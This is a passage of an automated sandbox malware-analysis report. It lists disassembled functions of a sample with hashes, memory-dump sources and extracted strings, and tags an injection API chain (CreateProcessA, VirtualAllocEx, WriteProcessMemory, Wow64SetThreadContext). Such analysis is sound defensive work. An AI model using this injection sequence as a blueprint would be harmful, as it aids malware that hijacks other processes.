Instruction Fuzzy Hash: 0971F774E05209DFDB84DFA9D484AAEBBF6FF88300F108529E519AB354DB34A945CF90

Function 0658E7E2 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9950c24eb2bd11eb2d509d5e2642cad652664a1ce1797b3dbb23e5c638a020f6
Instruction ID: c0e57f139c64298cbcf4f2c7d65ce525c703917d4ac6f147b130f8ceffd26a5a
Opcode Fuzzy Hash: 9950c24eb2bd11eb2d509d5e2642cad652664a1ce1797b3dbb23e5c638a020f6
Instruction Fuzzy Hash: E361C474E002099FDB84DFA9E845AAEBBF6FF88310F14816AE419EB350D7349941CF95

Function 06550006 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7749cf306e9257c23e2f829e55f91d08eb6aefd104d1327dbfb6d4f9f93c199
Instruction ID: 3af6c2a58596ac59a9048bac8806c384885ab8befb535f0b31462f24796d8acd
Opcode Fuzzy Hash: d7749cf306e9257c23e2f829e55f91d08eb6aefd104d1327dbfb6d4f9f93c199
Instruction Fuzzy Hash: D15149B1E046589BDB19CF6BDC5468ABBF3BFC9304F09C0AAD408AB265DB340985CF54

Function 0658E5D0 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25cb206f53f4a7ba8e9af68dab79a00f11986924e674221ba5786c52f2641e78
Instruction ID: d206ac5f032977e7eb71419ce204f2f162e2c0a3e6bdc4b60fe2b884acedae62
Opcode Fuzzy Hash: 25cb206f53f4a7ba8e9af68dab79a00f11986924e674221ba5786c52f2641e78
Instruction Fuzzy Hash: 4751E770E012099FDB88DFA9E845AAEBBF6FF88310F148129E509EB350DB345941CF95

Function 0658E5C2 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bed52e9f19dbd9ef397be045ba96f02bdd584e74c0b326af2ffe782e19929d6
Instruction ID: f521912a3caaa96ab31807b68b5b8ec8a1e62d27b50fe9e7a2c22d65e34edc4c
Opcode Fuzzy Hash: 5bed52e9f19dbd9ef397be045ba96f02bdd584e74c0b326af2ffe782e19929d6
Instruction Fuzzy Hash: 0B510770E00209DFDB88DFA9E845AAEBBF2FF88300F14816AE505EB250DB345941CF91

Function 0163EA10 Relevance: 6.6, Strings: 5, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 0163EC5E
(oq, xrefs: 0163ED59
(oq, xrefs: 0163EB24
(oq, xrefs: 0163EC32
(oq, xrefs: 0163EB7B

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq
API String ID: 0-2863283648
Opcode ID: eae82531933c4c25f1381350580553c2556e2f17dc30deadcfc2c4b2738e9475
Instruction ID: eaa4f53e70bb7eb5b4a6937258fe97b3d5117e2425242674152a4e681a5cd811
Opcode Fuzzy Hash: eae82531933c4c25f1381350580553c2556e2f17dc30deadcfc2c4b2738e9475
Instruction Fuzzy Hash: B7C1EE327042558FDB159F6DD854AAE7FE6FFC4250B25806AE906CB3A2CB35DC02C7A1

Function 0655D7E0 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 0655D9FA
4'kq, xrefs: 0655DB59
4'kq, xrefs: 0655DAD9

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq
API String ID: 0-2478202913
Opcode ID: 9bb89b344fc8684a3e38513b3fc27b9e9f95778295afb8077a6e1c86d73ba18c
Instruction ID: debcf775161df26cfbdb7803a8d1548b553f0dfeac27cd2cb0bed4a33f0a35af
Opcode Fuzzy Hash: 9bb89b344fc8684a3e38513b3fc27b9e9f95778295afb8077a6e1c86d73ba18c
Instruction Fuzzy Hash: 22F1FE35A00218DFCB54EFA4D998A9DB7B2FF88300F158159E916AB3A5DB71EC42CF50

Function 064D0D98 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'kq, xrefs: 064D1549
4'kq, xrefs: 064D1559

Memory Dump Source

Source File: 00000000.00000002.1809883174.00000000064D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64d0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 04e1df588a450ece657e7f4d59428ca6c52af20a5530b208f7cfda87722d9cea
Instruction ID: 3a6c4616ccee7444012498c3d89a6d3a0cd25169048a3f20630750c5a62fccc3
Opcode Fuzzy Hash: 04e1df588a450ece657e7f4d59428ca6c52af20a5530b208f7cfda87722d9cea
Instruction Fuzzy Hash: 5C42E334E0420DCFDB59DF98D568AAEBBF2FB49305F10841AD922AB354C7759882CF91

Function 066CE519 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 066CE843
$kq, xrefs: 066CE833

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: cd0228c02319cf5f1e9b664041b9178b8835f1046c7a8d733a92cb3c75e793d5
Instruction ID: ce9ff1dfef157061a4158b7def449ea8befe73325b33f6c6852e2635a9432c13
Opcode Fuzzy Hash: cd0228c02319cf5f1e9b664041b9178b8835f1046c7a8d733a92cb3c75e793d5
Instruction Fuzzy Hash: EE124930F00619CFCB55CFA9D858ABDBBB2FB48310F148459E551AB391DB799E42CBA0

Function 064D18C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 064D1D66
4'kq, xrefs: 064D1D56

Memory Dump Source

Source File: 00000000.00000002.1809883174.00000000064D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64d0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 43443ed74bbef59c192d541ccac651d3ee182635d5be9e7da029734661338ec5
Instruction ID: 27b2913052f228ecd021841afeafa99dc9957ec68a580cc86d34d4faf35aa6fb
Opcode Fuzzy Hash: 43443ed74bbef59c192d541ccac651d3ee182635d5be9e7da029734661338ec5
Instruction Fuzzy Hash: 60F1DA74E01208DFCBA9DFA4D4986ADBBF2FF4A311F20452AE816AB354DB355985CF40

Function 0163FC68 Relevance: 2.8, Strings: 2, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 0163FD3D
(oq, xrefs: 0163FC90

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq$(oq
API String ID: 0-3207256227
Opcode ID: 0eac409e30a36d3e6521882f6efb27a2a904dbe4689045bcfb250e20bb7d4a53
Instruction ID: d26b933e269205a4f7bc24ec7190c6b3b75781814428fc8f6f4987bbf2804b1f
Opcode Fuzzy Hash: 0eac409e30a36d3e6521882f6efb27a2a904dbe4689045bcfb250e20bb7d4a53
Instruction Fuzzy Hash: 18A19375A002089FCB55DF68D85899EBFB1FF89310F1584A9E9099F362DB31ED02CB91

Function 064D1598 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 064D1878
4'kq, xrefs: 064D1888

Memory Dump Source

Source File: 00000000.00000002.1809883174.00000000064D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64d0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 688deafeb723726cbe71339dabcb91da68434c8e0b0482da5521dcf972cef0a9
Instruction ID: fb2f8e4fbb06cd5e7727f8514ed760d41b835138930516ca0c8505e73a95bff0
Opcode Fuzzy Hash: 688deafeb723726cbe71339dabcb91da68434c8e0b0482da5521dcf972cef0a9
Instruction Fuzzy Hash: 18A1E574E00209DFDB59DFA4D4586AEBBF2FF89302F14842AD812AB354CB355986CF91

Function 066CDAF0 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

(oq, xrefs: 066CDBF6
Hoq, xrefs: 066CDC85

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq$Hoq
API String ID: 0-3084834809
Opcode ID: 4cdb82e661fd5984ab5b42f0da570b4ab1994e9a38c999c3ce6db3fd5dc9926c
Instruction ID: 5f2cdde14189cf571113e3497ddd2b02df80e59142de7daaa137e15de6aaf416
Opcode Fuzzy Hash: 4cdb82e661fd5984ab5b42f0da570b4ab1994e9a38c999c3ce6db3fd5dc9926c
Instruction Fuzzy Hash: 2D519D74B006158FC7A9AF38C414A2EBBA6FFD9360B10446DD906CB3A5DE35EC42CB91

Function 066CA658 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

(oq, xrefs: 066CA790
Hoq, xrefs: 066CA7BC

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq$Hoq
API String ID: 0-3084834809
Opcode ID: 4d262434302b6689ad2a101a5293a92cf8bc56032a19e02a6973a4d41c762538
Instruction ID: f5a0f4f53c715fc6c6086c30042d43e4d629facd4ede09b60bfa89a87cd519b0
Opcode Fuzzy Hash: 4d262434302b6689ad2a101a5293a92cf8bc56032a19e02a6973a4d41c762538
Instruction Fuzzy Hash: 4951DE30604B458FD3659F7AC84072BBBF2FF80320F108A6ED45A8B7A5DA74E845C7A1

Function 066CECE8 Relevance: 2.6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

$kq, xrefs: 066CED4F
$kq, xrefs: 066CED3F

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: f7dd01348ad312fdd2849fa64c21fc12b77ba28237365eb4a911598a1061d8b1
Instruction ID: 27ac050f89437652aab4d07218dc42a483b309c9a15a98a97f56cacc7c0e4d20
Opcode Fuzzy Hash: f7dd01348ad312fdd2849fa64c21fc12b77ba28237365eb4a911598a1061d8b1
Instruction Fuzzy Hash: 45115E35A04609DFEB64CE99D444BB9BBF9EF84370F24446AD404D72A4D776E980CB50

Function 066C3C38 Relevance: 2.5, Strings: 2, Instructions: 32COMMON

Download Yara Rule

Strings

u, xrefs: 066C1550
d, xrefs: 066C3C72

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: d$u
API String ID: 0-1629019899
Opcode ID: 486fa12548c2e6d4746d5983ee85c80fa6ce8d1828fe3e2d628490ba39245348
Instruction ID: 9cce4a3ecb601f074ed9b96fe97c91f8d90978faca07a23cb9b963fffb701e2b
Opcode Fuzzy Hash: 486fa12548c2e6d4746d5983ee85c80fa6ce8d1828fe3e2d628490ba39245348
Instruction Fuzzy Hash: 8E11C574D09768CFDB618F68D8487D9B7B1FB05319F0445DAC009A6380D7B51A84CF41

Function 0655640B Relevance: 2.5, Strings: 2, Instructions: 21COMMON

Download Yara Rule

Strings

9, xrefs: 06556433
L, xrefs: 0655645F

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 9$L
API String ID: 0-1517939472
Opcode ID: d69a4c78ea6fa83f8febafaccdd50e8e41d91ed815085e38eed5396bbbe34e38
Instruction ID: c260b524e01d29a8fb486fe7df8887cd951997181e53e835fc449f2b1e7869e4
Opcode Fuzzy Hash: d69a4c78ea6fa83f8febafaccdd50e8e41d91ed815085e38eed5396bbbe34e38
Instruction Fuzzy Hash: 29F05A70901228CFEBA0DFA8C8A8BDDBAB0BB49315F1505EAC848B6240D7759E94CF55

Function 0655E6C0 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,oq, xrefs: 0655EA3B

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: ,oq
API String ID: 0-651702701
Opcode ID: a305795090ae8b8147a79c127a9e90c8606c76a0f9a88ff9f2a9d02e5661ffb6
Instruction ID: 6dc0e09afec28e2a970728f4de0cb2728c73c2ba5e54508f3e1766b553c5db8a
Opcode Fuzzy Hash: a305795090ae8b8147a79c127a9e90c8606c76a0f9a88ff9f2a9d02e5661ffb6
Instruction Fuzzy Hash: 3A521A75A002288FDB64DF68C955BDDBBF6BF88300F1540DAE509AB361DA319E80CF61

Function 066CF0A0 Relevance: 1.8, Strings: 1, Instructions: 531COMMON

Download Yara Rule

Strings

(_kq, xrefs: 066CF32D

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (_kq
API String ID: 0-2183774854
Opcode ID: a0afdc55ce76c60aa5abdcb171e4514093df0dc3d3b78287b8144d85984a9c57
Instruction ID: 8d481ec8e74bd0bf06b48f730e64d7b4b4cee12e70e9701b1b0dfc17b941efdb
Opcode Fuzzy Hash: a0afdc55ce76c60aa5abdcb171e4514093df0dc3d3b78287b8144d85984a9c57
Instruction Fuzzy Hash: EB225775A006059FDB54CFA9D494AADB7F2FF88320F148069E905EB3A1DA75EC81CB90

Function 0667049D Relevance: 1.8, APIs: 1, Instructions: 266processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0667070F

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2f5a6be667f0820801e323fe5aa29b1eb457b16800c9a23e7ac7f9a99ae4a063
Instruction ID: 8698be8a1b35e10ba6e2a97fc95c42a008cef4768d052574444dff2922714a21
Opcode Fuzzy Hash: 2f5a6be667f0820801e323fe5aa29b1eb457b16800c9a23e7ac7f9a99ae4a063
Instruction Fuzzy Hash: D7A102B0D00219CFDB50CFA9C985BEEBBF1BB49310F149169E858B7280DB749985CF95

Function 066704A8 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0667070F

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 20f4cb7c8517995869f25bc12b49eb253222394193ebb6bead1b87d05e913d5b
Instruction ID: 80246ea39b08bd9d3239a21b6bd3589b285f88b8aea80d2707077a7739acd0e0
Opcode Fuzzy Hash: 20f4cb7c8517995869f25bc12b49eb253222394193ebb6bead1b87d05e913d5b
Instruction Fuzzy Hash: 44A110B0D00218CFDB60CFA9C985BEEBBF1BB09310F149169E858A7280DB749985CF95

Function 06670F19 Relevance: 1.6, APIs: 1, Instructions: 117injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 06670FF3

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fe63176d60e8d194ea2f877d8ee3811755e411799ce5ecdd8a185ff7431e88b5
Instruction ID: 08b07cf7521a4c09fcee6c62c437d92822a2e7df1be7f095f69cbc9ec8cf1bb5
Opcode Fuzzy Hash: fe63176d60e8d194ea2f877d8ee3811755e411799ce5ecdd8a185ff7431e88b5
Instruction Fuzzy Hash: AD419BB5D01258DFCB00CFA9D984ADEFBF1BB49310F24902AE819B7250D739AA45CF54

Function 06670F20 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 06670FF3

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 24118a4fe92ff3fbd28c23fee0c13a33f0523cbc15df7212706bf1c78b3afaee
Instruction ID: 05bb25a170c5e56ebd49fdc97b45dc39acf5c1c076c3d09a4b312a330ddb19c0
Opcode Fuzzy Hash: 24118a4fe92ff3fbd28c23fee0c13a33f0523cbc15df7212706bf1c78b3afaee
Instruction Fuzzy Hash: 5B4199B5D01258DFCB10CFA9D984ADEFBF1BB49310F24902AE818B7210D739AA45CF64

Function 06670DB9 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06670E6A

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b99d673c8e36ce1896e35de9e48b5ed972899792241916ae8821888480090400
Instruction ID: 82d4b39a08f9f77ca2b509fee4050d23d0ab836b6420b70372c73e8ba30b90c7
Opcode Fuzzy Hash: b99d673c8e36ce1896e35de9e48b5ed972899792241916ae8821888480090400
Instruction Fuzzy Hash: 523177B9D04258DBCF10CFA9D984ADEFBB5AB49320F10942AE815B7210D735A945CFA4

Function 06670DC0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06670E6A

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 01c2cd1f2632d5219ba81b8b667b067f6cf6616576784cf820f80d9ef3a20412
Instruction ID: cd6220a2caa1fbe676676a8e19ef8c247cfa05e56f8a857f32bf9240936cb48d
Opcode Fuzzy Hash: 01c2cd1f2632d5219ba81b8b667b067f6cf6616576784cf820f80d9ef3a20412
Instruction Fuzzy Hash: A93167B9D04258DFCF10CFA9D984A9EFBB5BB49320F10942AE815B7310D735A945CF68

Function 06671409 Relevance: 1.6, APIs: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 066714B4

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 260b0db67962ad30844f81f3228139e218cdc2601cc132b9d07db416cb24d813
Instruction ID: e31d46b7c5664a5e4dd080b15cf52cc26b701273e038870473153b9f064d6d60
Opcode Fuzzy Hash: 260b0db67962ad30844f81f3228139e218cdc2601cc132b9d07db416cb24d813
Instruction Fuzzy Hash: E031D9B4D01258DFCB10CFA9D980AEEFBB0AB49310F14942AE815B7214D734AA45CF54

Function 06671410 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 066714B4

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c9dea60f884b572593b29f445a22c6a9cf56bb79d90b6712587126530938ee1c
Instruction ID: 074ba18f69bb73d09d804af07e7c4920d1569a4ee533b2f21dd1ba77e8768ca9
Opcode Fuzzy Hash: c9dea60f884b572593b29f445a22c6a9cf56bb79d90b6712587126530938ee1c
Instruction Fuzzy Hash: B731C8B4D00258DFCF10CFAAD984AEEFBB0AB09320F24942AE814B7210D735A945CF94

Function 06670858 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0667090F

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: de3f4bd3974422d2f834f78e6387fde1d96da8e543203a4985639baa7c63b8ac
Instruction ID: 979c33730b04e8b0bbd3ecc553fbb4565114d9869af6e19a79c0192003c35145
Opcode Fuzzy Hash: de3f4bd3974422d2f834f78e6387fde1d96da8e543203a4985639baa7c63b8ac
Instruction Fuzzy Hash: 2041BCB4D01258DFDB10CFAAD884ADEFBF1BB49320F14802AE404B7200D778A945CFA4

Function 0673D730 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0673D7D4

Memory Dump Source

Source File: 00000000.00000002.1811708430.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_Ref_336210627.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fcda4cfdde61d731f86e2ff3c406cc1ef840336a8de453e8dd6475f3e1006ef5
Instruction ID: ba71fd364c1b93f714bc33cd1be7cdd953d4e69e56128e0d85bc0c7c667ccd8b
Opcode Fuzzy Hash: fcda4cfdde61d731f86e2ff3c406cc1ef840336a8de453e8dd6475f3e1006ef5
Instruction Fuzzy Hash: F73197B9D01258DFCB10CFA9D984ADEFBB5BF49320F20942AE814B7210D735A945CF94

Function 06670860 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0667090F

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 543c0bf24ff86d3448047da4ad533b058c4b26e0798167fa882a860f26e3d217
Instruction ID: 05f41f3369b850c80148d1a18cec8446d685507e778de23080414b5d4e05b565
Opcode Fuzzy Hash: 543c0bf24ff86d3448047da4ad533b058c4b26e0798167fa882a860f26e3d217
Instruction Fuzzy Hash: 4F31BCB4D01258DFDB50CFA9D984AEEFBF0BB49310F24802AE414B7250D738A945CFA4

Function 0658CD88 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 0658CE22

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4a115dc33c29016c79698d2b03075e838dc763ba4da242297684acd978b581f0
Instruction ID: 7c147e9594a199d243a9b9f0111228b32775f9ec83e87d05bd0b1a3b0ed72c6a
Opcode Fuzzy Hash: 4a115dc33c29016c79698d2b03075e838dc763ba4da242297684acd978b581f0
Instruction Fuzzy Hash: 9D31DAB4D012199FCB10CFAAD985AEEFBF4FB49320F10942AE804B7200C734A945CFA4

Function 0658CD90 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(?,?), ref: 0658CE22

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a6fc51e9410a026f7786f7788daaf993732216920cdadcbd978cbb2d02429c2a
Instruction ID: 64d3c52577d4cb724ab004eb60f83c0b57b169998e5a292c782ee31afb73292b
Opcode Fuzzy Hash: a6fc51e9410a026f7786f7788daaf993732216920cdadcbd978cbb2d02429c2a
Instruction Fuzzy Hash: 1831D9B4D01219DFCB10CFAAD980AEEFBF5BB49320F10942AE805B7210D734A945CFA4

Function 066C9B48 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

poq, xrefs: 066C9D00

Memory Dump Source

